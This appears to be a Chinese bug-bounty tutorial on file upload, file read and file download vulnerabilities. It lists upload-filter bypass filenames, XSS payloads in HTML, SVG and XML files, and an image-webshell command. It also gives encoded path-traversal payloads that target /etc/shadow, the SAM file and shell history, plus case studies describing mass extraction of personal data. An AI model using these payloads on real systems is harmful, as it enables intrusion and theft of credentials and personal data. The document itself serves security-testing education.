文章目录
-
- 前言
- 一、文件上传漏洞测试
-
- [1. 测试流程](#1. 测试流程)
- [2. 常见绕过方法](#2. 常见绕过方法)
- [3. 文件内容构造](#3. 文件内容构造)
- [4. 服务器配置漏洞](#4. 服务器配置漏洞)
- [5. 上传文件后续利用](#5. 上传文件后续利用)
- 二、文件读取漏洞测试
-
- [1. 测试方法](#1. 测试方法)
- [2. 常用路径遍历Payload](#2. 常用路径遍历Payload)
- [3. 高级绕过技巧](#3. 高级绕过技巧)
- [4. 敏感文件读取清单](#4. 敏感文件读取清单)
- 三、文件下载漏洞测试
- 四、实战案例总结
- 结语
⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。
前言
在SRC漏洞挖掘中,文件操作漏洞是常见的高危漏洞类型,包括文件上传、文件读取、文件下载等。一旦成功利用,攻击者可以获取敏感信息、执行恶意代码甚至完全控制服务器。本文将带你全面了解文件操作漏洞的测试思路、漏洞类型和实战技巧。
一、文件上传漏洞测试
1. 测试流程
基础测试步骤:
- 定位上传功能:找到文件上传入口(头像上传、图片上传、附件上传等)
- 验证前端校验:尝试上传非允许类型文件,观察前端提示
- Burp绕过测试:使用Burp Suite拦截请求,修改文件名和类型
- 验证上传结果:查看上传后的文件路径,确认是否可访问
2. 常见绕过方法
双后缀绕过
1.html.png → 绕过前端校验
1.php.jpg → 服务端可能解析为PHP
测试方法 :先构造1.html.png上传,拦截后删除.png后缀。
大小写绕过
test.HTML
test.PhP
特殊字符绕过
test.HTML<
test.HTML>
test.HTML/
双写后缀绕过
test.pphphp
Windows特性绕过
a.php. → Windows会自动去掉末尾的点,变成a.php
a.php::$DATA → NTFS交换数据流
3. 文件内容构造
HTML文件(存储型XSS)
html
<!DOCTYPE html>
<html>
<head><title>XSS测试</title></head>
<body>
<script>alert("XSS测试")</script>
<img src=x onerror=console.log(document.cookie) />
</body>
</html>
SVG文件(XSS+SSRF)
svg
<svg width="300" height="200" xmlns="http://www.w3.org/2000/svg">
<rect width="100%" height="100%" fill="lightgrey"/>
<foreignObject x="10" y="10" width="280" height="180">
<body xmlns="http://www.w3.org/1999/xhtml">
<script>alert(document.cookie)</script>
</body>
</foreignObject>
</svg>
XML文件(XSS)
xml
<something:script xmlns:something="http://www.w3.org/1999/xhtml">
alert(document.cookie);
</something:script>
图片马(PHP)
bash
# 将PHP代码嵌入图片中
copy a.jpg/b b.php > shell.php
PHP一句话木马:
php
<?php phpinfo();?>
4. 服务器配置漏洞
IIS解析漏洞
文件名.<<<
文件名.>>>
# 写入到:文件名.php
FastCGI解析漏洞
# 在浏览器中访问正常图片地址+1/php
http://example.com/upload/test.jpg/1.php
# 如果显示空白页面,表示解析了PHP
# 返回404则表示未开启
路径遍历结合上传
# 如果存储地址URL有规律,测试上传后的路径遍历
http://example.com/upload/../../../../etc/passwd
5. 上传文件后续利用
测试场景:
- 上传exe、html文件后,路径可以直接下载
- 说明可以钓鱼(图片内容可以是违法、造谣等)、XSS
JS代码找上传后地址:
- 上传后查看响应包,找到文件存储路径
- 在JavaScript代码中查找文件URL
二、文件读取漏洞测试
1. 测试方法
基础测试步骤:
- 定位下载功能:找到文件下载、查看、导出等功能
- 构造路径遍历Payload :尝试使用
../、..\等 - 验证漏洞 :读取
/etc/passwd或/c:/windows/win.ini
2. 常用路径遍历Payload
Linux系统
../../../../../etc/passwd
../../../../../etc/shadow
../../../../../root/.bash_history
../../../../../var/lib/mlocate/mlocate.db
../../../../../proc/self/environ
Windows系统
../../../../../windows/win.ini
../../../../../windows/system32/config/sam
../../../../../Program Files/MySQL/my.ini
3. 高级绕过技巧
多层遍历混合
/home/file/tmp/.././.././.././.././.././etc/./passwd
编码绕过
..%2f..%2f..%2fetc%2fpasswd
..%5c..%5c..%5cwindows%5cwin.ini
Unicode编码绕过
..\u002f..\u002fetc\u002fpasswd
4. 敏感文件读取清单
| 文件路径 | 用途 | 说明 |
|---|---|---|
/etc/passwd |
系统用户信息 | 验证漏洞存在 |
/etc/shadow |
用户密码哈希 | 弱密码可破解 |
/root/.bash_history |
历史命令 | 可能包含敏感信息 |
/var/lib/mlocate/mlocate.db |
文件索引数据库 | 批量获取文件路径 |
/proc/self/environ |
进程环境变量 | 获取内网IP等信息 |
/etc/my.cnf |
MySQL配置 | 获取数据库密码 |
/etc/httpd/conf/httpd.conf |
Apache配置 | 服务器配置信息 |
三、文件下载漏洞测试
1. 测试场景
导出功能测试
测试方法:
- 观察导出功能的响应体
- 查看响应文件内容
- 修改请求体中的导出文件名称为
../../../../etc/passwd
文件ID遍历
测试方法:
- 下载接口的文件ID是否可遍历
- 如果ID不可遍历,尝试通过其他接口获取
系统通杀接口
测试方法:
- 同系统多学校/企业使用,接口可复用
- 利用之前挖掘保留的接口获取文件ID
2. 测试Payload
基础路径遍历
/download?file=../../../../etc/passwd
/download?id=1&path=../../../../etc/passwd
编码绕过
/download?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd
四、实战案例总结
案例1:某高校用电监管平台文件上传漏洞
发现过程:
- 定位上传功能:登录系统找到图片上传业务模块
- 验证前端校验:仅校验
e.type,可通过Burp绕过 - 构造恶意文件:创建HTML文件,包含XSS脚本和DNSLog回连
- Burp修改上传:构造
payload_poc.htm.jpg,拦截后删除.jpg后缀 - 验证漏洞触发:访问上传后的HTM文件,脚本执行成功
关键技巧:前端校验不可信,必须在服务端实施强校验。
案例2:某高效任意文件读取漏洞
发现过程:
- 定位下载功能点:找到系统的文件下载功能模块
- 构造路径遍历Payload:使用多层路径遍历和当前目录混合
- 验证漏洞有效性:成功读取到
/etc/passwd文件内容 - 读取mlocate.db:获取系统的文件索引数据库
- 获取敏感信息:分析mlocate.db内容,获取500+身份证号、3000+手机号
关键技巧:mlocate.db是宝藏,读取文件索引数据库可批量获取文件路径。
案例3:某学校系统通杀任意文件下载漏洞
发现过程:
- 注册账户:进入招聘网站,注册一个账户
- 观察数据包:发现下载接口,但ID不可遍历
- 利用系统通杀:同系统多学校使用,利用之前挖掘保留的接口获取文件ID
- 构造下载URL:拼接完整URL实现下载
- 获取敏感文件:成功下载用户上传的大量敏感信息
关键技巧:系统通杀思路,同系统多部署,接口可复用。
结语
文件操作漏洞是高危漏洞类型,掌握文件操作测试技巧对于SRC漏洞挖掘至关重要。记住:仔细测试每个上传/下载功能、灵活运用绕过技巧、关注敏感文件,这是发现文件操作漏洞的关键。
如果这篇文章对你有帮助,请点赞支持一下!有任何问题欢迎在评论区交流讨论。